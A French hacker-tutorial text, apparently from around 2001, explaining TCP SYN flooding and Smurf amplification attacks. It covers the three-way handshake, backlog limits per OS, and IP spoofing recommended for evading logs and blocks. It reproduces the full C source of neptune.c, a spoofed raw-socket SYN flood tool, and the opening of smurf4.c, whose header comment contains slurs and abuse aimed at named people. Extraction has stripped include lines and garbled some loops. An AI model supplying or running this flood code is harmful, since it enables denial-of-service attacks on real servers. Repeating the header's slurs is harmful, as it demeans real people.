LE SYN FLOOD (1) Le Syn-Flood est une technique qui marche sur tous les serveurs (et pour cause), mais qui a mon avis n'apporte pas grand chose a part mettre l'ordinateur distant Hors Service... Mais je trouve cette technique tout de meme assez interressante, donc c'est parti, tit article la dessus ! Ceci est la partie "simple" du dossier, pour une description plus detaillee, jetez un coup d'oeil sur la page precipice-flood.txt ! Le but est de demander tout plein de choses (requetes) au serveur afin qu'au bout d'un moment il n'ai plus assez de ressources pour repondre, et donc qu'il ne puisse plus non plus repondre aux requetes "normales" des visiteurs du site. Hum, le probleme, c'est qu'on peut bien lui envoyer des requetes a ce maudit serveur, mais il y a de fortes chances pour que notre beau petit pc succombe avant, donc il faut ruser ! Quand on se connecte a un serveur, on lui envoie une requete pour lui dire : "Coucou !!! mon ip est 1.2.3.4, tu veux causer avec moi ?" et la le serveur repond (car il est oblige de repondre, sinon il ne se passe rien, et ce qui est propose aux utilisateurs "normaux" n'est pas accessible) : "Alut. Tu es sur que tu veux me parler ?" Apres ce premier contact, on doit a nouveau envoye des paquets pour confimer... "Vi vi ! Je suis la et je veux bosser avec toi." Normalement, apres ce petit schema, les donnees peuvent s'echanger car la connexion a ete etablie. Autrement dit cela donne: Toto SuperServeur Syn |--------------------------------> Syn Ack <--------------------------------| Ack |--------------------------------> Le serveur distant attend donc le Ack pour etre sur que la connexion a ete etablie, mais voila, assez souvent sur Internet, les paquets se perdent, donc le serveur, s'il ne recoit pas de Ack, va renvoyer un Syn Ack, et un autre, et encore un autre, etc. Bien sur il ne fait pas ca indefiniment, en general, il va essayer de renvoyer les paquets pendant une a deux minutes, et en divisant a chaque fois le temps avant envoie par 2. Ca c'est interressant ! A la place d'envoyer 2 requetes et d'en recevoir une, on en envoie une en omettant de repondre au syn ack et on en recois beaucoup plus ! Mouif, bon, c'est pas encore tout a fait ca, mais on va arriver a trouver un moyen de le mettre en defaut ce serveur. Si on recoit les Syn Ack, il y a deux problemes majeurs... le premier, on se fait tout de suite reperer apres... facile de chercher dans les log et de faire le lien entre votre IP et vous, donc c'est pas tip-top, le deuxieme probleme, c'est qu'il vaut mieux economiser les forces de son pc afin d'envoyer plus de Syn (et oui... repondre a des requetes et en envoyer, ca utilise des ressources, d'ou l'interet d'envoyer un max de syn au serveur). Seule solution a ca, c'est de "truquer" les requetes afin qu'elles ne contiennent non pas notre ip, mais une prise au hasard. Hum, comme je l'ai dit plus haut, les admins reseaux sont pas completement cons, et certains serveurs bloquent une IP losqu'ils ont trop de requete de la part de celle ci, donc le best, c'est de d'envoyer des requetes avec une ip changeant a chaque fois (ou presque)... Et la, ben les serveurs ils ne peuvent absolument rien faire, ils n'ont aucune defense, et sont obliges de repondre, c'est bete pour eux quand meme ! ;p Mais encore une fois, je precise que je n'apprecie pas particulierement cette technique, et generalement, quelques heures apres, le serveur remarche comme si de rien n'etait. Ca l'empeche de fonctionner pendant un moment, mais c'est temporaire. Spirit_2001a -------------------------------------------------------------------------- LE SYN FLOOD (2) Ce projet est une analyse complete du TCP Syn Flooding. Il S'agit d'une attaque de type Denial of Service (DoS), et comme toutes les attaques DoS, il ne repose pas sur un bug logiciel, mais sur l'implementation d'un protocole bien particulier, le TCP. Ce chapitre est divise en plusieurs sections... : I Information sur le TCP II La structure de la memmoire III Traitement a l'arrivee IV L'attaque V Deux programmes : Neptune.c et Smurf4.c PARTIE I : Information sur le protocole TCP Pour échanger des données employant TCP, les hôtes doivent établir une connexion. TCP etablit une connexion en trois etapes, appelee "3-way handshake", si le client (A) souhaite etablir la connexion avec le serveur (B), voici le processus : (Schema 1) 1 A ---SYN---> B 2 A <---SYN/ACK--- B 3 A ---ACK---> B Le client (A) commence par dire au serveur (B) qu'il veut une connexion. C'est le seul but du flag SYN (1). Il specifie egalement que le champ des numeros de sequence est valable et doit être vérifié. Le client remplace ce numero de sequence dans les headers TCP par son ISN (le numéro de sequence initial). Le serveur, en recevant ce paquet (2) y répondra par son propre ISN et une confirmation (en anglais ACKnowledgement...) du premier paquet du client (client qui est ISN+1). Le client alors repond par un ACK a l' ISN du serveur (3). Maintenant le transfert de données peut avoir lieu. Control des flags : ------------------- Il existe 6 controles de flags dans TCP, on va seulement s'interresser a 3 d'entre eux.... puisque c'est justement ceux-ci qui nous concernent. SYN signifie Synchronize Sequence Number. Ce flag est seulement valable pendant la "3-way handshake", et sert "d'accuse de reception" TCP pour le SYN et note cette valeur comme numero de sequence initial de l'initiateur de connexion. (je sais ma phrase est bizzare, mais je n'ai pas reussi a la formuler differemment). Le numero de sequence TCP peut etre simplement imagine comme un compteur 32 bits, ils s'etendent de 0 a 4,294,967,295. Chaque octet de donnees echange a tarvers la connexion TCP (avec certains flags) est sequence. Le champs du numero de sequence dans les entetes (headers) contiendra le numéro d'ordre du premier octet des données dans le paquet TCP. ACK signifie Acknowledgement (Confirmation) La reconnaissance du numero du champ est valable. Ce flag est presque toujours emis, le champ du numero de reconnaissance dans l'entete TCP contient la valeur du numero de sequence attendu par l'autre pc, il reconnait aussi toutes les donnees par ce numero d'ACK -1. RST signifie reset (remise a zero) Detruit la connexion, toutes les structures de la memoires sont effacees. URG signifie urgent (c'etait dur a trouver la...) Le pointeur urgent est valable. C'est une route TCP pour l'execution hors de la bande des donnees (OOB). Par exemple, dans une connexion telnet un CTRL C du cote du client est considere comme urgent et causera l'emission de ce flag. PSH signifie push (pousser) la réception TCP ne doit pas mettre en attente ces données, mais les passer à l'application aussitôt que possible. Ce flag doit toujours être mis dans des connexions interactives, comme telnet et rlogin. FIN signifie...fin ! La connexion TCP envoyee a termine de transmettre les donnees, mais il reste a l'ecoute d'autres connexions Les ports : ----------- Pour accorder l'accès simultané au module TCP, TCP fournit une interface utilisateur appelée un port. Les ports sont employés par le noyau pour identifier des processus du réseau. Ce sont des entités uniquement de la couche de transport. Une adresse IP et un port TCP fournissent un but final pour les communications sur le réseau. En fait, à n'importe quel moment donné "toutes" les connexions à Internet peuvent être décrites par 4 numéros : l'adresse IP source, le port source, l'adresse IP de destination et le port de destination. Les serveurs doivent nécessairement ouvrir des ports "connus" pour qu'ils puissent être placés sur un port standard sur des systèmes différents. Par exemple, le démon (programme serveur) telnet est sur le port TCP 23. PARTIE II Structure de la memoire TCP et backlog Pour une description complete du Syn-Flooding, il est necessaire de s'interresser a la structure de la memoire que TCP cree quand un client envoie une requete de type SYN et lorsque la connexion est en suspens (je veux dire la connexion est quelque part dans le processus "3-way handshake" et TCP est dans le SYN_SENT ou dans l'etat de SYN_RVCD) BSD: ---- Sous le code de réseau de style BSD, pour n'importe quelle connexion TCP "en suspens" donnée, il y a trois structures de mémoire qui sont allouées (on ne discute pas du processus (proc), la structure de fichier, il faut être conscient qu'ils existent aussi.) : Structure des Sockets (socket {}) : Tient l'information liée à la fin locale de la ligne de communication : protocole employé, information d'état, informations adressees, backlog de connexion, buffer et flags. Structure du bloc de contrôle de protocole d'Internet (inpcb {}) : le PCB est employé au niveau de la couche de transport TCP (et UDP) pour tenir divers "morceaux" d'information nécessaire a TCP. TCP donne l'information, l'adresse IP, le numero du port, le prototype des headers et les options, et un pointeur sur la table des routes pour l'adresse de destination. Le PCB est créé pour donner les indications TCP au serveur quand celui-ci appelle la fonction listen() Structure de Bloc de Contrôle TCP (tcpcb{}) : Le bloc de contrôle de TCP contient l'information spécifique TCP comme l'information comme l'heure, l'information sur les numeros de sequence, le statut du contrôle de flux et des données OOB. LINUX: ------ Linux emploie un schema différent pour l'allocation de la mémoire au point de vue de l'information de réseau. La structure de socket est toujours employée, mais au lieu du pcb {} et tcpcb {}, nous avons : La structure Sock (frappe {}) : Protocole specifique a l'information, la plupart des structures de données sont liées a TCP. C'est une structure gigantesque. La structure SK (sk_buff {}) : Contient plus l'information sur le protocole spécifique incluant les informations de l'entete du paquet, contient aussi une sock {}. Selon Alan Cox : L'inode est l'inode contenant la socket. La socket contient des méthodes génériques de haut niveau et la structure de ce sock est le protocole spécifique de l'objet. [Struct inode - > struct socket - > struct sock - > les chaînes de sk_buff] Backlog: -------- Ceux-ci sont des grandes structures de mémoire. Chaque fois qu'un paquet SYN arrive sur un port valable (c'est a dire un port où un serveur TCP écoute), de la memoire doit être allouée. S'il n'y avait aucune limite, un hôte pourrait facilement provoquer un denial of service en occupant ces backlogs. Il s'agit en fait de mémoire devant juste traiter des connexions TCP. (Ce serait une attaque de DOS même plus simple que celle ci.) Cependant, il y a une limite maximum à la quantité de connexions simultanées faisant une requete TCP et il peut y avoir certaines requetes en attente pour une socket donnée. Cette limite est aussi longue que les requetes en attente arrivées (mais encore incompletes) des connexions maintenues. Cette limite s'applique au nombre de connexions imcompletes (par exemple si la "3-way handshake" n'a pas été achevée) et au nombre de connexions achevées qui n'ont pas ete prises parmi celles mises en attente par l'application. Si cette limite est atteinte, TCP va renoncer silencieusement à toutes les demandes de connexion entrantes avant que les connexions en suspens ne puissent être traitées. Le backlog n'a pas une grande valeur, et ne doit pas en avoir... Normalement TCP est tout à fait capable de traiter l'établissement des connexions. Même si une connexion arrive alors que la "file d'attente" est a son maximum, quand le client retransmettra les paquets de demande de connexion, TCP aura le morceau de nouveau dans la "file d'attente". Des implementations TCP différentes ont des tailles différentes pour les requetes en attente. Dans le style du code réseau de BSD, il y a aussi la marge 'de grâce' de 3/2. C'est-à-dire que TCP permettra un backlog jusqu'a 3/2 +1 des connexions. Cela permettra à une socket une connexion même s'il appelle listen() avec un backlog de 0 Quelques valeurs de backlog communes : (Schema 2) OS Backlog BL+Grace Notes --------------------------------------------------------------------------- SunOS 4.x.x: 5 8 IRIX 5.2: 5 8 Solaris Linux 1.2.x: 10 10 Linux ne possede pas cette marge Linux 2.2.x: 128 300 FreeBSD 2.1.0: 32 FreeBSD 2.1.5: 128 Win NTs 3.5.1: 6 6 NT ne semble pas avoir cette marge Win NTw 4.0: 6 6 NT a un backlog pathetique. ;p PARTIE III : Traitement a l'arrivee Pour voir exactement où l'attaque agit reellement, il est nécessaire d'observer comment la réception TCP traite un paquet entrant. La chose suivante est vraie pour la gestion de réseau de style BSD et L'état de TCP est listen() : Obtention des informations des headers : TCP récupère les entetes TCP et IP et stocke l'information dans la mémoire. Vérification du cheksum de TCP : la norme du cheksum d'Internet est appliquée au paquet. S'il échoue, aucun ACK n'est envoyé et le paquet est abandonne, laissant le client le retransmettre. Placement du PCB {} : TCP place le pcb {} associé a la connexion. Si celui-ci n'est pas trouvé, TCP laisse tomber le paquet et envoie un RST. (c'est ainsi que TCP manipule les connexions qui arrivent sur des ports sans serveur en écoute listen()) Si le PCB {} existe, mais qu'il est ferme, le serveur n'appelle pas les fonctions connect() et listen(). Le segment est laissé tomber, mais aucun RST n'est envoyé. On s'attend à ce que le client le retransmette avec la demande de connexion. Création de la nouvelle socket : Quand un paquet arrive sur une socket qui ecoute, une socket esclave est créée. C'est la qu' une socket {}, qu'un tcpcb {} ou autre pcb {} est créé. TCP n'est pas remis a la connexion à ce niveau, donc un flag est emis afin que TCP laisse tomber la socket (et qu'il détruise les structures de la mémoire) si on rencontre une erreur. Si la limite du baklog est atteinte, TCP considère que c'est une erreur et la connexion est refusee. Autrement, l'état de TCP de la nouvelle socket est listen(). Si le paquet contient un RST, il est abandonne. S'il contient un ACK, il est egalement abandonne, mais un RST est envoyé et la structure de la memoire est "déchirée" (l'ACK n'a pas de sens pour la connexion à ce niveau et est considéré etant une erreur). Si le paquet contient un SYN, le traitement peut continuer. Traitement des adresses, etc : Quand un paquet TCP arrive, L'information du client est adressee dans un buffer, connectee au pcb {} du client, les differentes options TCP sont traitees et le numero de sequence initial (IIS) est envoye. Reponse au SYN : TCP envoie un SYN, un ISS et un ACK au client. Il y a 75 secondes de delai pour que la connexion soit etablie, apres ce laps de temps, elle est abandonnée et un nouveau SYN doit etre envoye pour demander une nouvelle connexion. Le SYN devient donc un SYN_RCVD. PARTIE IV : L'ATTAQUE Une connexion TCP est amorcée avec un client faisant une demande à un serveur avec le flag SYN dans les headers TCP. Normalement le serveur repondra par un SYN-ACK au client identifié grace a l'adresse source (en 32 bits) dans les headers de l'IP. Le client renverra alors un ACK au serveur (voir schema 1) et le transfert des données pourra commencer. Quand l'adresse IP du client est spoofee de telle maniere a renvoyer sur un host innacessible, le serveur vise (la cible) ne pourra pas terminer la "3-way handshake" et continuera à essayer tant qu'il lui est permis. C'est la base pour l'attaque. Le serveur attaquant envoie quelques requetes SYN au port TCP de la cible (par exemple, le démon telnet). Le serveur attaquant doit aussi s'assurer que l'adresse IP source est spoofee afin de passer pour le host inaccessible (la cible TCP enverra la réponse à cette adresse). L'IP (par voie ICMP) informera TCP que le host est inaccessible, mais TCP considère que ces erreurs sont passageres et ignore ces messages. L'adresse IP doit être inaccessible parce que l'attaquant ne veut pas le serveur qui sert de cible puisse lui renvoyer les SYN/ACK, ce qui mettrait à jour un RST de ce host. Cela déjouerait l'attaque. J'utiliserais des lettres pour simplifier la comprehension des differents schemas : A La cible X Serveur non resolvable (Unreachable host en anglais) Z Le host attaquant Z(x) L'attaquant masque par X B Ordinateurs dependants d'un broacast Il y a egalement quelques figures pour les transactions sur le reseau, et elles seront interpretees comme suit: tick host a control host b tick Unite de temps, pas de distinction dans le temps mis entre chaque "tick" ----- host a Une machine participant a la conversation TCP ------ control Ce champs montre tous les bits de control releves dans les TCP headers ------- ainsi que la direction des paquets. host b Une machine participant a la conversation TCP ------ Le processus est comme suit : ----------------------------- (Schema 3) 1 Z(x) ---SYN---> A Z(x) ---SYN---> A Z(x) ---SYN---> A Z(x) ---SYN---> A Z(x) ---SYN---> A Z(x) ---SYN---> A 2 X <---SYN/ACK--- A X <---SYN/ACK--- A ... 3 X <---RST--- A 1) l'hôte attaquant envoie une multitude de requetes SYN à la cible pour "remplir" le backlog avec des connexions en suspens. 2) la cible répond par des SYN/ACK à ce qu'il croit etre la source des paquets SYN. Pendant ce temps toutes les nouvelles requetes à ce port TCP seront ignorées. Le port de la cible est deborde et n'est plus capable de traiter les autres requetes. LE SMURF -------- Description rapide d'une attaque appellee Smurf, en complement du Syn-Flood. Il s'agit d'une technique qui permet d'utiliser des dizaines, voir des centaines d'ordinateurs ("innocents") d'un reseau grace a des Broadcast afin de surcharger la cible. Si on envoie une requete ICMP-PING a un serveur, celui-ci repondra par un ICMP-PONG. En utilisant une adresse IP spoofee dans les headers, la reponse arrivera sur la cible. Un serveur Broadcast est un serveur de diffusion qui est capable de rerouter a tout son reseau un paquet qu'il a recu. Donc en lui envoyant un paquet ICMP-PING, toutes les machines qui en dependent repondront par un ICMP-PONG. Plus le Broadcast est rapide et plus il y a d'ordinateurs qui en dependent, plus l'attaque sera fortes. Cette attaque est simple, je ne rentrerais pas ici dans les details du protocole ICMP, mais un paquet de 1Ko envoye peut tres vite engendre 1000 Ko ou 10 000 Ko (soit 1000 ou 10 000 paquets) se dirigeant vers une meme cible. Cette attaque peut facilement saturer une ligne de type T1. En utilisant non pas un mais plusieurs Broadcast, l'attaque peut prendre une ampleure gigantesque. (Schema 4) ------------------- | Z(x) | ------------------- || || ------------------- | Broadcast | ------------------- || ...-----||----------------------||--------------------||-----------... -------------- -------------- -------------- | B | | B | | B | -------------- -------------- -------------- || || || ...----------------------------------------------------... || ------------------- | A | ------------------- PARTIE V : NEPTUNE.C ET SMURF4.C J'ai reproduit ici deux programmes. Je n'en suis pas l'auteur, et je ne les ai pas modifie. Vous les trouverez ici tels que les auteurs les ont ecrit. NEPTUNE.C #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define BUFLEN 256 #define MENUBUF 64 #define MAXPORT 1024 #define MAXPAK 4096 #define MENUSLEEP 700000 #define FLOODSLEEP 100 /* Ethernet, or WAN? Yur mileage will vary.*/ #define ICMPSLEEP 100 #define ACCESSLIST "/etc/sfaccess.conf" int HANDLERCODE=1; int KEEPQUIET=0; char werd[]={"\nThis code made possible by a grant from the Guild Corporation\n\0"}; void main(argc,argv) int argc; char *argv[]; { void usage(char *); void menu(int,char *); void flood(int,unsigned,unsigned,u_short,int); unsigned nameResolve(char *); int authenticate(int,char *); unsigned unreachable,target; int c,port,amount,sock1,fd; struct passwd *passEnt; char t[20],u[20]; if((fd=open(ACCESSLIST,O_RDONLY))<=0){ perror("Cannot open accesslist"); exit(1); } setpwent(); passEnt=getpwuid(getuid()); endpwent(); /* Authenticate */ if(!authenticate(fd,passEnt->pw_name)){ fprintf(stderr,"Access Denied, kid\n"); exit(0); } /* Open up a RAW socket */ if((sock1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("\nHmmm.... socket problems\n"); exit(1); } if(argc==1){ menu(sock1,passEnt->pw_name); exit(0); } /* Parse command-line arguments */ while((c=getopt(argc,argv,"8:s:t:p:a"))){ switch(c){ case 's': /* Source (spoofed) host */ unreachable=nameResolve(optarg); strcpy(u,optarg); break; case 't': /* Target host */ target=nameResolve(optarg); strcpy(t,optarg); break; case 'p': /* Target port */ port=atoi(optarg); break; case '8': /* infinity switch */ port=0; break; case 'a': /* Amount of SYNs to send */ amount=atoi(optarg); break; default: /* WTF? */ usage(argv[0]); } } if(!port){ printf("\n\nFlooding target: \t\t%u\nOn ports\t\t\t1-%d\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,MAXPORT,amount,unreachable); flood(sock1,unreachable,target,0,amount); } else{ printf("\n\nFlooding target: \t\t%u\nOn port: \t\t\t%u\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,port,amount,unreachable); flood(sock1,unreachable,target,port,amount); } syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),passEnt->pw_name,t,u,port,amount); printf(werd); exit(0); } /* End main */ /* * Authenticate. Makes sure user is authorized to run program. * */ int authenticate(fd,nameID) int fd; char *nameID; { char buf[BUFLEN+1]; char workBuffer[10]; int i=0,j=0; while(read(fd,buf,sizeof(buf))){ if(!(strstr(buf,nameID))){ close(fd); syslog(LOG_LOCAL6|LOG_INFO,"Failed authentication for %s\n",nameID); return(0); } else { close(fd); syslog(LOG_LOCAL6|LOG_INFO,"Successful start by %s, PID: %d\n",nameID,getpid()); return(1); } } } /* * Flood. This is main workhorse of the program. IP and TCP header * construction occurs here, as does flooding. */ void flood(int sock,unsigned sadd,unsigned dadd,u_short dport,int amount){ unsigned short in_cksum(unsigned short *,int); struct packet{ struct iphdr ip; struct tcphdr tcp; }packet; struct pseudo_header{ /* For TCP header checksum */ unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }pseudo_header; struct sockaddr_in sin; /* IP address information */ register int i=0,j=0; /* Counters */ int tsunami=0; /* flag */ unsigned short sport=161+getpid(); if(!dport){ tsunami++; /* GOD save them... */ fprintf(stderr,"\nTSUNAMI!\n"); fprintf(stderr,"\nflooding port:"); } /* Setup the sin struct with addressing information */ sin.sin_family=AF_INET; /* Internet address family */ sin.sin_port=sport; /* Source port */ sin.sin_addr.s_addr=dadd; /* Dest. address */ /* Packet assembly begins here */ /* Fill in all the TCP header information */ packet.tcp.source=sport; /* 16-bit Source port number */ packet.tcp.dest=htons(dport); /* 16-bit Destination port */ packet.tcp.seq=49358353+getpid(); /* 32-bit Sequence Number */ packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */ packet.tcp.doff=5; /* Data offset */ packet.tcp.res1=0; /* reserved */ packet.tcp.res2=0; /* reserved */ packet.tcp.urg=0; /* Urgent offset valid flag */ packet.tcp.ack=0; /* Acknowledgement field valid flag */ packet.tcp.psh=0; /* Push flag */ packet.tcp.rst=0; /* Reset flag */ packet.tcp.syn=1; /* Synchronize sequence numbers flag */ packet.tcp.fin=0; /* Finish sending flag */ packet.tcp.window=htons(242); /* 16-bit Window size */ packet.tcp.check=0; /* 16-bit checksum (to be filled in below) */ packet.tcp.urg_ptr=0; /* 16-bit urgent offset */ /* Fill in all the IP header information */ packet.ip.version=4; /* 4-bit Version */ packet.ip.ihl=5; /* 4-bit Header Length */ packet.ip.tos=0; /* 8-bit Type of service */ packet.ip.tot_len=htons(40); /* 16-bit Total length */ packet.ip.id=getpid(); /* 16-bit ID field */ packet.ip.frag_off=0; /* 13-bit Fragment offset */ packet.ip.ttl=255; /* 8-bit Time To Live */ packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */ packet.ip.check=0; /* 16-bit Header checksum (filled in below) */ packet.ip.saddr=sadd; /* 32-bit Source Address */ packet.ip.daddr=dadd; /* 32-bit Destination Address */ /* Psuedo-headers needed for TCP hdr checksum (they do not change and do not need to be in the loop) */ pseudo_header.source_address=packet.ip.saddr; pseudo_header.dest_address=packet.ip.daddr; pseudo_header.placeholder=0; pseudo_header.protocol=IPPROTO_TCP; pseudo_header.tcp_length=htons(20); while(1){ /* Main loop */ if(tsunami){ if(j==MAXPORT){ tsunami=0; break; } packet.tcp.dest=htons(++j); fprintf(stderr,"%d",j); fprintf(stderr,"%c",0x08); if(j>=10)fprintf(stderr,"%c",0x08); if(j>=100)fprintf(stderr,"%c",0x08); if(j>=1000)fprintf(stderr,"%c",0x08); if(j>=10000)fprintf(stderr,"%c",0x08); } for(i=0;i 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } /* * Converts IP addresses */ unsigned nameResolve(char *hostname){ struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname))==-1){ if(!(hostEnt=gethostbyname(hostname))){ fprintf(stderr,"Name lookup failure: `%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } /* * Menu function. Nothing suprising here. Except that one thing. */ void menu(sock1,nameID) int sock1; char *nameID; { int slickPing(int,int,char *); void flood(int,unsigned,unsigned,u_short,int); unsigned nameResolve(char *); void demon(int,char *,char *,int,int,int,int); int i,sock2,menuLoop=1,icmpAmt,port,amount,interval,ttl; char optflags[7]={0}; /* So we can keep track of the options */ static char tmp[MENUBUF+1]={0},target[MENUBUF+1]={0},unreach[MENUBUF+1]={0}; while(menuLoop){ printf("\n\n\t\t\t[ SYNflood Menu ]\n\t\t\t [ daemon9 ]\n\n"); if(!optflags[0])printf("1\t\tEnter target host\n"); else printf("[1]\t\tTarget:\t\t\t%s\n",target); if(!optflags[1])printf("2\t\tEnter source (unreachable) host\n"); else printf("[2]\t\tUnreachable:\t\t%s\n",unreach); if(!optflags[2])printf("3\t\tSend ICMP_ECHO(s) to unreachable\n"); else printf("[3]\t\tUnreachable host:\tverified unreachable\n"); if(!optflags[3])printf("4\t\tEnter port number to flood\n"); else if(port)printf("[4]\t\tFlooding:\t\t%d\n",port); else printf("[4]\t\tFlooding:\t\t1-1024\n"); if(!optflags[4])printf("5\t\tEnter number of SYNs\n"); else printf("[5]\t\tNumber SYNs:\t\t%d\n",amount); printf("\n6\t\tQuit\n"); if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("7\t\tLaunch Attack\n"); if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("8\t\tDaemonize\n"); printf("\n\n\n\n\n\n\n\n\n\n\n\n"); fgets(tmp,BUFLEN/2,stdin); /* tempered input */ switch(atoi(tmp)){ case 1: printf("[hostname]-> "); fgets(target,MENUBUF,stdin); i=0; if(target[0]=='\n')break; while(target[i]!='\n')i++; target[i]=0; optflags[0]=1; break; case 2: printf("[hostname]-> "); fgets(unreach,MENUBUF,stdin); i=0; if(unreach[0]=='\n')break; while(unreach[i]!='\n')i++; unreach[i]=0; optflags[1]=1; break; case 3: if(!optflags[1]){ fprintf(stderr,"Um, enter a host first\n"); usleep(MENUSLEEP); break; } /* Raw ICMP socket */ if((sock2=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0){ perror("\nHmmm.... socket problems\n"); exit(1); } printf("[number of ICMP_ECHO's]-> "); fgets(tmp,MENUBUF,stdin); if(!(icmpAmt=atoi(tmp)))break; if(slickPing(icmpAmt,sock2,unreach)){ fprintf(stderr,"Host is reachable... Pick a new one\n"); sleep(1); optflags[1]=0; optflags[2]=0; HANDLERCODE=1; close(sock2); break; } optflags[2]=1; close(sock2); break; case 4: printf("[port number]-> "); fgets(tmp,MENUBUF,stdin); port=atoi(tmp); optflags[3]=1; break; case 5: printf("[number of SYNs]-> "); fgets(tmp,MENUBUF,stdin); if(!(amount=atoi(tmp)))break; optflags[4]=1; break; case 6: menuLoop--; break; case 7: if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){ syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),nameID,target,unreach,port,amount); flood(sock1,nameResolve(unreach),nameResolve(target),port,amount); menuLoop--; } else{ fprintf(stderr,"Illegal option --try again\n"); usleep(MENUSLEEP); } break; case 8: if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){ if(!port){ fprintf(stderr,"Cannot set infinity flag in daemon mode. Sorry.\n"); usleep(MENUSLEEP*2); break; } printf("[packet sending interval in seconds {80}]-> "); fgets(tmp,MENUBUF,stdin); if(!(interval=atoi(tmp)))interval=80; printf("[time for daemon to live in whole hours(0=forever)]-> "); fgets(tmp,MENUBUF,stdin); ttl=atoi(tmp); syslog(LOG_LOCAL6|LOG_INFO,"DFLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d Interval: %d TTL: %d\n",getpid(),nameID,target,unreach,port,amount,interval,ttl); demon(sock1,unreach,target,port,amount,interval,ttl); exit(0); } else{ fprintf(stderr,"Illegal option --try again\n"); usleep(MENUSLEEP); } break; default: fprintf(stderr,"Illegal option --try again\n"); usleep(MENUSLEEP); } } printf("\n"); printf(werd); return; } /* * SlickPing. A quick and dirty ping hack. Sends ICMP_ECHO * packets and waits for a reply on any one of them... It has to check * to make sure the ICMP_ECHOREPLY is actually meant for us, as raw ICMP * sockets get ALL the ICMP traffic on a host, and someone could be * pinging some other host and we could get that ECHOREPLY and foul * things up for us. */ int slickPing(amount,sock,dest) int amount,sock; char *dest; { int alarmHandler(); unsigned nameResolve(char *); register int retcode,j=0; struct icmphdr *icmp; struct sockaddr_in sin; unsigned char sendICMPpak[MAXPAK]={0}; unsigned short pakID=getpid()&0xffff; struct ippkt{ struct iphdr ip; struct icmphdr icmp; char buffer[MAXPAK]; }pkt; bzero((char *)&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_addr.s_addr=nameResolve(dest); /* ICMP Packet assembly */ /* We let the kernel create our IP header as it is legit */ icmp=(struct icmphdr *)sendICMPpak; icmp->type=ICMP_ECHO; /* Requesting an Echo */ icmp->code=0; /* 0 for ICMP ECHO/ECHO_REPLY */ icmp->un.echo.id=pakID; /* To identify upon return */ icmp->un.echo.sequence=0; /* Not used for us */ icmp->checksum=in_cksum((unsigned short *)icmp,64); fprintf(stderr,"sending ICMP_ECHO packets: "); for(;jun.echo.id==pakID){ if(!HANDLERCODE)return(0); return(1); } } } /* * SIGALRM signal handler. Souper simple. */ int alarmHandler(){ HANDLERCODE=0; /* shame on me for using global vars */ alarm(0); signal(SIGALRM,SIG_DFL); return(0); } /* * Usage function... */ void usage(nomenclature) char *nomenclature; { fprintf(stderr,"\n\nUSAGE: %s \n\t-s unreachable_host \n\t-t target_host \n\t-p port [-8 (infinity switch)] \n\t-a amount_of_SYNs\n",nomenclature); exit(0); } /* * Demon. Backgrounding procedure and looping stuff. */ void demon(sock,unreachable,target,port,amount,interval,ttl) int sock; char *unreachable; char *target; int port; int amount; int interval; int ttl; { fprintf(stderr,"\nSorry Daemon mode not available in this version\n"); exit(0); } ------------------------------------------------------------------------ SMURF4.C /* * * $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST Exp $ * * spoofs icmp packets from a host to various broadcast addresses resulting * in multiple replies to that host from a single packet. * * mad head to: * nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig, * MissSatan for swallowing, napster for pimping my sister, the guy that * invented vaseline, fyber for trying, knowy, old school #havok, kain * cos he rox my sox, zuez, toxik, robocod, and everyone else that i might * have missed (you know who you are). * * hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy * thing he is (he's -almost- as stubborn as me, still i managed to pick up * half the cheque). * * and a special hi to Todd, face it dude, you're fucking awesome. * * mad anal to: * #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps * because they plain suck, Rolex for being a twit, everyone that * trades warez, Caren for being a lesbian hoe, AcidKill for being her * partner, #cha0s, sedriss for having an ego in inverse proportion to * his penis and anyone that can't pee standing up -- you don't know what * your missing out on. * * and anyone thats ripped my code (diff smurf.c axcast.c is rather * interesting). * * and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill * Robbins for trying to steal my girlfriend. Not only did you show me * no respect but you're a manipulating prick who tried to take away the * most important thing in the world to me with no guilt whatsoever, and * for that I wish you nothing but pain. Die. * * disclaimer: * I cannot and will not be held responsible nor legally bound for the * malicious activities of individuals who come into possession of this * program and I refuse to provide help or support of any kind and do NOT * condone use of this program to deny service to anyone or any machine. * This is for educational use only. Please Don't abuse this. * * Well, i really, really, hate this code, but yet here I am creating another * disgusting version of it. Odd, indeed. So why did I write it? Well, I, * like most programmers don't like seeing bugs in their code. I saw a few * things that should have been done better or needed fixing so I fixed * them. -shrug-, programming for me as always seemed to take the pain away * ... * * */ #include #include #include #include #include #include #include #include #include #include #include 